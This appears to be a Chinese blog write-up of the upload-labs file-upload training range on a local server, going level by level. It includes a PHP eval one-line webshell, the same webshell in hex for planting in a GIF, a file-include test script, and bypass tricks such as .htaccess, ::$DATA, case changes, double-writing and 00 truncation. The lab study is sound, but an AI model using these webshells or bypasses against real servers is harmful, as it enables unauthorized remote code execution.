Upload靶场通关笔记


在这里插入图片描述

一、Pass-01

在这里插入图片描述在这里插入图片描述

1.抓包上传

只能上传jpg,png,gif格式图片,因此先选一个jpg,然后抓包修改文件类型和文件数据

在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.获取上传路径

接下来需要知道文件上传到哪个目录下
在这里插入图片描述

可以看出上传到上一级目录的upload文件夹了,而当前目录是
http://127.0.0.1/upload/Pass-01/index.php,即http://127.0.0.1/upload/Pass-01/
因此上一级目录是http://127.0.0.1/upload/
即最终上传路径是http://127.0.0.1/upload/upload/
可以看出已上传成功,接下来用工具连接验证下

3.工具验证

在这里插入图片描述

F12解析成功
在这里插入图片描述

说明连接和调用成功

二、Pass-02

还是用上一题的办法

<?php @eval($_POST["fname"]);?>

Content-Type: image/jpeg
Content-Type:application/octet-stream
在这里插入图片描述
在这里插入图片描述

三、Pass-03

不出所料不能用老办法了
在这里插入图片描述

1.使用httpd.conf自定义后缀

那就改后缀绕过,改成3.phtml
在这里插入图片描述
在这里插入图片描述

2.提取上传文件名

在这里插入图片描述

发现可以上传,但是文件名被改了,没关系可以提取,202306261154331548.phtml
验证下看能不能解析,发现不行
在这里插入图片描述

3.工具测试

猜测应该是我的皮卡丘版本较老,换装新版本试下
在这里插入图片描述在这里插入图片描述

菜刀也连接成功了
在这里插入图片描述

4.注意点

值得说明的是一句话代码那里第一个空行不要删,不然上传不会成功的
在这里插入图片描述

四、Pass-04

在这里插入图片描述

显然phtml也被禁了,不信你可以试下
在这里插入图片描述

1.上传.htaccess

尝试使用.htaccess文件,先上传它
在这里插入图片描述

2.上传图片

然后上传图片,只要加一句话木马就行,其他不用改
在这里插入图片描述

3.工具测试

测试下
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

五、Pass-05

在这里插入图片描述

好吧,这关.htaccess也不能用了
大小写绕过
但是Php是不是可以呢
在这里插入图片描述

上传成功,试下能不能运行
在这里插入图片描述在这里插入图片描述

OK 搞定

六、Pass-06

在这里插入图片描述

1.空格+.号绕过

试了下大小写绕过失败,.htaccess上传失败
最后用这种奇怪的方法组合绕过了,即空格+.号绕过
在这里插入图片描述

2.工具测试

在这里插入图片描述在这里插入图片描述

七、Pass-07

在这里插入图片描述

同上题绕法
这个狠,试下上题的方法先
在这里插入图片描述

这次也上传成功了
在这里插入图片描述

工具测试
在这里插入图片描述在这里插入图片描述

OK 搞定

八、Pass-08

在这里插入图片描述在这里插入图片描述

这次不行了

1.特殊符号绕法

试下特殊符号绕法:1.php::$DATA
在这里插入图片描述

果然可以

2.工具测试

在这里插入图片描述在这里插入图片描述

OK 搞定

九、Pass-09

在这里插入图片描述

1.特殊符号+.+空格组合绕过

在这里插入图片描述

2.工具测试

在这里插入图片描述

看来这个也没问题了

十、Pass-10

在这里插入图片描述在这里插入图片描述

1.双写绕过

发现会把php去掉,那就来个双写绕过
在这里插入图片描述

很好,上传成功
在这里插入图片描述

2.工具测试

在这里插入图片描述在这里插入图片描述

OK 搞定

十一、Pass-11

在这里插入图片描述

经尝试,双写绕过失败,特殊符号绕过失败
在这里插入图片描述

00截断绕过
11.php%00.jpg,11.jpg%00.php
这里我们使用00截断绕过,此外还需修改content-Type这个值,因为这样jpg也可以解析了
如下图所示,save_path在上面,说明是get型00截断
在这里插入图片描述

在filename=XX.php%00.jpg
在这里插入图片描述
在这里插入图片描述

十二、Pass-12

在这里插入图片描述

save_path在下面,说明是post型00截断
post型的需要在upload后面追加 XX.php ,php后面有空格
在这里插入图片描述

然后切换到16进制页面,找到空格的位置
在这里插入图片描述

将20改成00
在这里插入图片描述

然后放包
但是失败了
在这里插入图片描述

经查:在php 5.3.4中php修复了0字符,但是在之前的版本中00在php中危害较大
在这里插入图片描述

1.00截断条件1

而我的PHP是5.4.45因此尝试下降级
在这里插入图片描述

2.00截断条件2

其次php.ini中的magic_quotes_gpc是必须off状态的
在这里插入图片描述

3.空格a替换

然后我们在12.php后面加:空格a,a是方便定位,空格16进制换成00后就可以上传php文件了
在这里插入图片描述
在这里插入图片描述

4.工具测试

在这里插入图片描述

十三、Pass-13

在这里插入图片描述

这节应该需要做内容绕过
文件内容绕过:
JPG:JPGGraphicFile;gif:GIF89A,zip:ZipCompressed
doc .xls .xlt .ppt .apr:MSCompoundDocumentv1orLotusApproachAPRfile

1.制作图片马

首先使用dos命令制作图片马
在这里插入图片描述
在这里插入图片描述

然后直接上传2.jpg
在这里插入图片描述

准备本地包含测试代码include.php

<?php
$file = $_GET['file'];
include $file;
?>

2.工具测试

在这里插入图片描述
在这里插入图片描述

十四、Pass-14

在这里插入图片描述

同上题
在这里插入图片描述

15关程序有问题,跳过

十五、Pass-16

在这里插入图片描述

1.制作图片马

首先制作图片马,这次使用gif
在这里插入图片描述

然后上传图片,但是发现上传后的图片被重新编码了,一句话代码找不到了
在这里插入图片描述

2.对比修改

使用EmEditor工具对比看下哪些地方没改
在这里插入图片描述

可以看出上图箭头处这块没动,因此可以将一句话木马替换进去,把左图下面这段复制出来
在这里插入图片描述

3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 22 66 6E 61 6D 65 22 5D 29 3B 3F 3E 1A 替换到1.gif这个位置,同时记住这里选了多少个字符,这里是96个
替换到箭头处开始的96个字符之后变成

3.替换未修改

变成
在这里插入图片描述

4.上传测试

然后将1.gif保存上传
在这里插入图片描述

上传成功了
说明没有被过滤掉
在这里插入图片描述

工具测试
在这里插入图片描述
在这里插入图片描述

十六、Pass-17

同上题做法

十七、Pass-18

被保存到上一级目录了,不过没关系还是可以跑
在这里插入图片描述
在这里插入图片描述

十八、Pass-19

同16关做法

十九、Pass-20

同16关做法

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值